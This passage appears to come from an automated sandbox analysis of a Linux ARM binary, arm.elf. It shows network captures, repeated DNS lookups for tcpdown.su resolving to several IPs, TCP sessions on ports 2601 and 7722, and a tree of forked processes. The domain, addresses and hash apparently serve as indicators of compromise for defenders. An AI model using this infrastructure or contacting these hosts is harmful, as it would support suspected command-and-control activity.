Jan 7, 2025 00:51:07.709182978 CET	38294	2601	192.168.2.15	23.94.242.130
Jan 7, 2025 00:51:07.713973045 CET	2601	38294	23.94.242.130	192.168.2.15
Jan 7, 2025 00:51:07.714026928 CET	38294	2601	192.168.2.15	23.94.242.130
Jan 7, 2025 00:51:07.714792967 CET	38294	2601	192.168.2.15	23.94.242.130
Jan 7, 2025 00:51:07.719600916 CET	2601	38294	23.94.242.130	192.168.2.15
Jan 7, 2025 00:51:07.719640017 CET	38294	2601	192.168.2.15	23.94.242.130
Jan 7, 2025 00:51:07.724386930 CET	2601	38294	23.94.242.130	192.168.2.15
Jan 7, 2025 00:51:08.375961065 CET	2601	38294	23.94.242.130	192.168.2.15
Jan 7, 2025 00:51:08.376060009 CET	38294	2601	192.168.2.15	23.94.242.130
Jan 7, 2025 00:51:08.376146078 CET	38294	2601	192.168.2.15	23.94.242.130
Jan 7, 2025 00:51:17.234035969 CET	44124	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:51:17.238948107 CET	7722	44124	107.175.130.16	192.168.2.15
Jan 7, 2025 00:51:17.239026070 CET	44124	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:51:17.239517927 CET	44124	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:51:17.239630938 CET	44124	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:51:17.244302988 CET	7722	44124	107.175.130.16	192.168.2.15
Jan 7, 2025 00:51:17.286793947 CET	7722	44124	107.175.130.16	192.168.2.15
Jan 7, 2025 00:51:17.624449015 CET	7722	44124	107.175.130.16	192.168.2.15
Jan 7, 2025 00:51:17.624671936 CET	44124	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:51:20.419904947 CET	44126	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:51:20.424808025 CET	7722	44126	107.175.130.16	192.168.2.15
Jan 7, 2025 00:51:20.424869061 CET	44126	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:51:20.425601959 CET	44126	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:51:20.425734043 CET	44126	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:51:20.430407047 CET	7722	44126	107.175.130.16	192.168.2.15
Jan 7, 2025 00:51:20.471054077 CET	7722	44126	107.175.130.16	192.168.2.15
Jan 7, 2025 00:51:20.892263889 CET	7722	44126	107.175.130.16	192.168.2.15
Jan 7, 2025 00:51:20.892354965 CET	44126	7722	192.168.2.15	107.175.130.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 00:49:20.203111887 CET	51169	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:49:20.210396051 CET	53	51169	1.1.1.1	192.168.2.15
Jan 7, 2025 00:49:20.213578939 CET	52615	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:49:20.232928991 CET	53	52615	1.1.1.1	192.168.2.15
Jan 7, 2025 00:49:20.236125946 CET	51343	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:49:20.244028091 CET	53	51343	1.1.1.1	192.168.2.15
Jan 7, 2025 00:49:20.246568918 CET	42932	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:49:20.255247116 CET	53	42932	1.1.1.1	192.168.2.15
Jan 7, 2025 00:49:20.257728100 CET	60918	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:49:20.279859066 CET	53	60918	1.1.1.1	192.168.2.15
Jan 7, 2025 00:49:20.282685995 CET	51583	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:49:20.297296047 CET	53	51583	1.1.1.1	192.168.2.15
Jan 7, 2025 00:49:21.962519884 CET	37859	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:49:21.971353054 CET	53	37859	1.1.1.1	192.168.2.15
Jan 7, 2025 00:49:22.011538029 CET	57108	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:49:22.027827024 CET	53	57108	1.1.1.1	192.168.2.15
Jan 7, 2025 00:49:22.062463045 CET	60146	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:49:22.071554899 CET	53	60146	1.1.1.1	192.168.2.15
Jan 7, 2025 00:49:22.109332085 CET	55341	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:49:22.121393919 CET	53	55341	1.1.1.1	192.168.2.15
Jan 7, 2025 00:49:22.176521063 CET	54643	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:49:22.195101023 CET	53	54643	1.1.1.1	192.168.2.15
Jan 7, 2025 00:49:22.200135946 CET	52231	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:49:27.286417007 CET	37888	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:49:32.324475050 CET	58501	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:49:37.390095949 CET	44980	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:49:42.446170092 CET	57456	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:49:49.130073071 CET	44104	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:49:49.149394989 CET	53	44104	1.1.1.1	192.168.2.15
Jan 7, 2025 00:49:49.150305986 CET	58271	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:49:49.159261942 CET	53	58271	1.1.1.1	192.168.2.15
Jan 7, 2025 00:49:49.159936905 CET	36643	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:49:49.179117918 CET	53	36643	1.1.1.1	192.168.2.15
Jan 7, 2025 00:49:49.179838896 CET	40687	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:49:49.194152117 CET	53	40687	1.1.1.1	192.168.2.15
Jan 7, 2025 00:49:49.194820881 CET	39535	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:49:49.203732014 CET	53	39535	1.1.1.1	192.168.2.15
Jan 7, 2025 00:49:49.204493999 CET	55003	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:49:54.207454920 CET	53902	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:49:59.211236000 CET	39036	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:50:04.215148926 CET	40153	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:50:09.219044924 CET	34292	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:50:15.905611992 CET	49113	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:50:15.912703037 CET	53	49113	1.1.1.1	192.168.2.15
Jan 7, 2025 00:50:15.913337946 CET	43488	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:50:15.919862986 CET	53	43488	1.1.1.1	192.168.2.15
Jan 7, 2025 00:50:15.920803070 CET	41082	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:50:15.927831888 CET	53	41082	1.1.1.1	192.168.2.15
Jan 7, 2025 00:50:15.928713083 CET	49782	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:50:15.943259954 CET	53	49782	1.1.1.1	192.168.2.15
Jan 7, 2025 00:50:15.944184065 CET	35721	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:50:15.954325914 CET	53	35721	1.1.1.1	192.168.2.15
Jan 7, 2025 00:50:15.955281019 CET	35113	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:50:20.960047007 CET	40497	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:50:25.962661028 CET	53060	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:50:30.966852903 CET	47980	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:50:35.972708941 CET	51577	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:50:42.643537998 CET	52401	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:50:42.651746988 CET	53	52401	1.1.1.1	192.168.2.15
Jan 7, 2025 00:50:42.652729034 CET	53078	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:50:42.659773111 CET	53	53078	1.1.1.1	192.168.2.15
Jan 7, 2025 00:50:42.660671949 CET	45882	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:50:42.668668985 CET	53	45882	1.1.1.1	192.168.2.15
Jan 7, 2025 00:50:42.669612885 CET	39005	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:50:42.676140070 CET	53	39005	1.1.1.1	192.168.2.15
Jan 7, 2025 00:50:42.677016973 CET	35417	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:50:42.684133053 CET	53	35417	1.1.1.1	192.168.2.15
Jan 7, 2025 00:50:42.685318947 CET	48497	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:50:47.690378904 CET	60824	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:50:52.696405888 CET	50244	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:50:57.702548027 CET	42852	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:51:02.705864906 CET	41896	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:51:09.377875090 CET	51428	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:51:09.385109901 CET	53	51428	1.1.1.1	192.168.2.15
Jan 7, 2025 00:51:09.385952950 CET	55094	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:51:09.393466949 CET	53	55094	1.1.1.1	192.168.2.15
Jan 7, 2025 00:51:09.394264936 CET	50720	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:51:09.408421040 CET	53	50720	1.1.1.1	192.168.2.15
Jan 7, 2025 00:51:09.409236908 CET	36322	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:51:09.416218042 CET	53	36322	1.1.1.1	192.168.2.15
Jan 7, 2025 00:51:09.416981936 CET	57446	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:51:09.433983088 CET	53	57446	1.1.1.1	192.168.2.15
Jan 7, 2025 00:51:09.434779882 CET	55368	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:51:14.437225103 CET	43683	53	192.168.2.15	1.1.1.1
Jan 7, 2025 00:51:19.443339109 CET	56115	53	192.168.2.15	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 7, 2025 00:49:20.203111887 CET	192.168.2.15	1.1.1.1	0x3294	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:20.213578939 CET	192.168.2.15	1.1.1.1	0x12fe	Standard query (0)	tcpdown.su\|1	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:20.236125946 CET	192.168.2.15	1.1.1.1	0x12fe	Standard query (0)	tcpdown.su\|1	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:20.246568918 CET	192.168.2.15	1.1.1.1	0x12fe	Standard query (0)	tcpdown.su\|1	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:20.257728100 CET	192.168.2.15	1.1.1.1	0x12fe	Standard query (0)	tcpdown.su\|1	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:20.282685995 CET	192.168.2.15	1.1.1.1	0x12fe	Standard query (0)	tcpdown.su\|1	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:21.962519884 CET	192.168.2.15	1.1.1.1	0xb308	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:22.011538029 CET	192.168.2.15	1.1.1.1	0xb308	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:22.062463045 CET	192.168.2.15	1.1.1.1	0xb308	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:22.109332085 CET	192.168.2.15	1.1.1.1	0xb308	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:22.176521063 CET	192.168.2.15	1.1.1.1	0xb308	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:22.200135946 CET	192.168.2.15	1.1.1.1	0x2131	Standard query (0)	tcpdown.suo. [malformed]	256	261	false
Jan 7, 2025 00:49:27.286417007 CET	192.168.2.15	1.1.1.1	0x2131	Standard query (0)	tcpdown.suo. [malformed]	256	263	false
Jan 7, 2025 00:49:32.324475050 CET	192.168.2.15	1.1.1.1	0x2131	Standard query (0)	tcpdown.suo. [malformed]	256	268	false
Jan 7, 2025 00:49:37.390095949 CET	192.168.2.15	1.1.1.1	0x2131	Standard query (0)	tcpdown.suo. [malformed]	256	273	false
Jan 7, 2025 00:49:42.446170092 CET	192.168.2.15	1.1.1.1	0x2131	Standard query (0)	tcpdown.suo. [malformed]	256	278	false
Jan 7, 2025 00:49:49.130073071 CET	192.168.2.15	1.1.1.1	0x93c0	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:49.150305986 CET	192.168.2.15	1.1.1.1	0x93c0	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:49.159936905 CET	192.168.2.15	1.1.1.1	0x93c0	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:49.179838896 CET	192.168.2.15	1.1.1.1	0x93c0	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:49.194820881 CET	192.168.2.15	1.1.1.1	0x93c0	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:49.204493999 CET	192.168.2.15	1.1.1.1	0x6778	Standard query (0)	tcpdown.suo. [malformed]	256	288	false
Jan 7, 2025 00:49:54.207454920 CET	192.168.2.15	1.1.1.1	0x6778	Standard query (0)	tcpdown.suo. [malformed]	256	293	false
Jan 7, 2025 00:49:59.211236000 CET	192.168.2.15	1.1.1.1	0x6778	Standard query (0)	tcpdown.suo. [malformed]	256	298	false
Jan 7, 2025 00:50:04.215148926 CET	192.168.2.15	1.1.1.1	0x6778	Standard query (0)	tcpdown.suo. [malformed]	256	301	false
Jan 7, 2025 00:50:09.219044924 CET	192.168.2.15	1.1.1.1	0x6778	Standard query (0)	tcpdown.suo. [malformed]	256	308	false
Jan 7, 2025 00:50:15.905611992 CET	192.168.2.15	1.1.1.1	0x6aad	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:50:15.913337946 CET	192.168.2.15	1.1.1.1	0x6aad	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:50:15.920803070 CET	192.168.2.15	1.1.1.1	0x6aad	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:50:15.928713083 CET	192.168.2.15	1.1.1.1	0x6aad	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:50:15.944184065 CET	192.168.2.15	1.1.1.1	0x6aad	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:50:15.955281019 CET	192.168.2.15	1.1.1.1	0x9b09	Standard query (0)	tcpdown.suo. [malformed]	256	313	false
Jan 7, 2025 00:50:20.960047007 CET	192.168.2.15	1.1.1.1	0x9b09	Standard query (0)	tcpdown.suo. [malformed]	256	318	false
Jan 7, 2025 00:50:25.962661028 CET	192.168.2.15	1.1.1.1	0x9b09	Standard query (0)	tcpdown.suo. [malformed]	256	323	false
Jan 7, 2025 00:50:30.966852903 CET	192.168.2.15	1.1.1.1	0x9b09	Standard query (0)	tcpdown.suo. [malformed]	256	328	false
Jan 7, 2025 00:50:35.972708941 CET	192.168.2.15	1.1.1.1	0x9b09	Standard query (0)	tcpdown.suo. [malformed]	256	333	false
Jan 7, 2025 00:50:42.643537998 CET	192.168.2.15	1.1.1.1	0xe982	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:50:42.652729034 CET	192.168.2.15	1.1.1.1	0xe982	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:50:42.660671949 CET	192.168.2.15	1.1.1.1	0xe982	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:50:42.669612885 CET	192.168.2.15	1.1.1.1	0xe982	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:50:42.677016973 CET	192.168.2.15	1.1.1.1	0xe982	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:50:42.685318947 CET	192.168.2.15	1.1.1.1	0xd089	Standard query (0)	tcpdown.suo. [malformed]	256	343	false
Jan 7, 2025 00:50:47.690378904 CET	192.168.2.15	1.1.1.1	0xd089	Standard query (0)	tcpdown.suo. [malformed]	256	346	false
Jan 7, 2025 00:50:52.696405888 CET	192.168.2.15	1.1.1.1	0xd089	Standard query (0)	tcpdown.suo. [malformed]	256	353	false
Jan 7, 2025 00:50:57.702548027 CET	192.168.2.15	1.1.1.1	0xd089	Standard query (0)	tcpdown.suo. [malformed]	256	358	false
Jan 7, 2025 00:51:02.705864906 CET	192.168.2.15	1.1.1.1	0xd089	Standard query (0)	tcpdown.suo. [malformed]	256	358	false
Jan 7, 2025 00:51:09.377875090 CET	192.168.2.15	1.1.1.1	0x1e15	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:51:09.385952950 CET	192.168.2.15	1.1.1.1	0x1e15	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:51:09.394264936 CET	192.168.2.15	1.1.1.1	0x1e15	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:51:09.409236908 CET	192.168.2.15	1.1.1.1	0x1e15	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:51:09.416981936 CET	192.168.2.15	1.1.1.1	0x1e15	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:51:09.434779882 CET	192.168.2.15	1.1.1.1	0xdcd6	Standard query (0)	tcpdown.suo. [malformed]	256	370	false
Jan 7, 2025 00:51:14.437225103 CET	192.168.2.15	1.1.1.1	0xdcd6	Standard query (0)	tcpdown.suo. [malformed]	256	373	false
Jan 7, 2025 00:51:19.443339109 CET	192.168.2.15	1.1.1.1	0xdcd6	Standard query (0)	tcpdown.suo. [malformed]	256	376	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 7, 2025 00:49:20.210396051 CET	1.1.1.1	192.168.2.15	0x3294	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:20.210396051 CET	1.1.1.1	192.168.2.15	0x3294	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:20.210396051 CET	1.1.1.1	192.168.2.15	0x3294	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:20.210396051 CET	1.1.1.1	192.168.2.15	0x3294	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:20.210396051 CET	1.1.1.1	192.168.2.15	0x3294	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:20.210396051 CET	1.1.1.1	192.168.2.15	0x3294	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:20.210396051 CET	1.1.1.1	192.168.2.15	0x3294	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:20.232928991 CET	1.1.1.1	192.168.2.15	0x12fe	Name error (3)	tcpdown.su\|1	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:20.244028091 CET	1.1.1.1	192.168.2.15	0x12fe	Name error (3)	tcpdown.su\|1	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:20.255247116 CET	1.1.1.1	192.168.2.15	0x12fe	Name error (3)	tcpdown.su\|1	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:20.279859066 CET	1.1.1.1	192.168.2.15	0x12fe	Name error (3)	tcpdown.su\|1	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:20.297296047 CET	1.1.1.1	192.168.2.15	0x12fe	Name error (3)	tcpdown.su\|1	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:21.971353054 CET	1.1.1.1	192.168.2.15	0xb308	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:22.027827024 CET	1.1.1.1	192.168.2.15	0xb308	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:22.071554899 CET	1.1.1.1	192.168.2.15	0xb308	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:22.121393919 CET	1.1.1.1	192.168.2.15	0xb308	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:22.195101023 CET	1.1.1.1	192.168.2.15	0xb308	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:49.149394989 CET	1.1.1.1	192.168.2.15	0x93c0	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:49.159261942 CET	1.1.1.1	192.168.2.15	0x93c0	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:49.179117918 CET	1.1.1.1	192.168.2.15	0x93c0	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:49.194152117 CET	1.1.1.1	192.168.2.15	0x93c0	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:49:49.203732014 CET	1.1.1.1	192.168.2.15	0x93c0	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:50:15.912703037 CET	1.1.1.1	192.168.2.15	0x6aad	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:50:15.919862986 CET	1.1.1.1	192.168.2.15	0x6aad	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:50:15.927831888 CET	1.1.1.1	192.168.2.15	0x6aad	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:50:15.943259954 CET	1.1.1.1	192.168.2.15	0x6aad	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:50:15.954325914 CET	1.1.1.1	192.168.2.15	0x6aad	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:50:42.651746988 CET	1.1.1.1	192.168.2.15	0xe982	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:50:42.659773111 CET	1.1.1.1	192.168.2.15	0xe982	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:50:42.668668985 CET	1.1.1.1	192.168.2.15	0xe982	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:50:42.684133053 CET	1.1.1.1	192.168.2.15	0xe982	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:51:09.385109901 CET	1.1.1.1	192.168.2.15	0x1e15	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:51:09.393466949 CET	1.1.1.1	192.168.2.15	0x1e15	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:51:09.408421040 CET	1.1.1.1	192.168.2.15	0x1e15	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:51:09.416218042 CET	1.1.1.1	192.168.2.15	0x1e15	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:51:09.433983088 CET	1.1.1.1	192.168.2.15	0x1e15	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: arm.elf PID: 5822, Parent PID: 5749

General

Start time (UTC):	23:49:16
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	/tmp/arm.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 5825, Parent PID: 5822

General

Start time (UTC):	23:49:17
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 5827, Parent PID: 5825

General

Start time (UTC):	23:49:17
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6005, Parent PID: 5827

General

Start time (UTC):	23:49:24
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6007, Parent PID: 5827

General

Start time (UTC):	23:49:24
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6013, Parent PID: 5827

General

Start time (UTC):	23:49:24
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6021, Parent PID: 5827

General

Start time (UTC):	23:49:26
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6023, Parent PID: 5827

General

Start time (UTC):	23:49:26
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6029, Parent PID: 5827

General

Start time (UTC):	23:49:26
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6037, Parent PID: 5827

General

Start time (UTC):	23:49:31
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6039, Parent PID: 5827

General

Start time (UTC):	23:49:31
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6084, Parent PID: 5827

General

Start time (UTC):	23:49:36
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6086, Parent PID: 5827

General

Start time (UTC):	23:49:36
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6114, Parent PID: 5827

General

Start time (UTC):	23:49:41
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6115, Parent PID: 5827

General

Start time (UTC):	23:49:41
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6126, Parent PID: 5827

General

Start time (UTC):	23:49:46
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6128, Parent PID: 5827

General

Start time (UTC):	23:49:46
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6137, Parent PID: 5827

General

Start time (UTC):	23:49:51
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6140, Parent PID: 5827

General

Start time (UTC):	23:49:51
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6169, Parent PID: 5827

General

Start time (UTC):	23:49:56
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
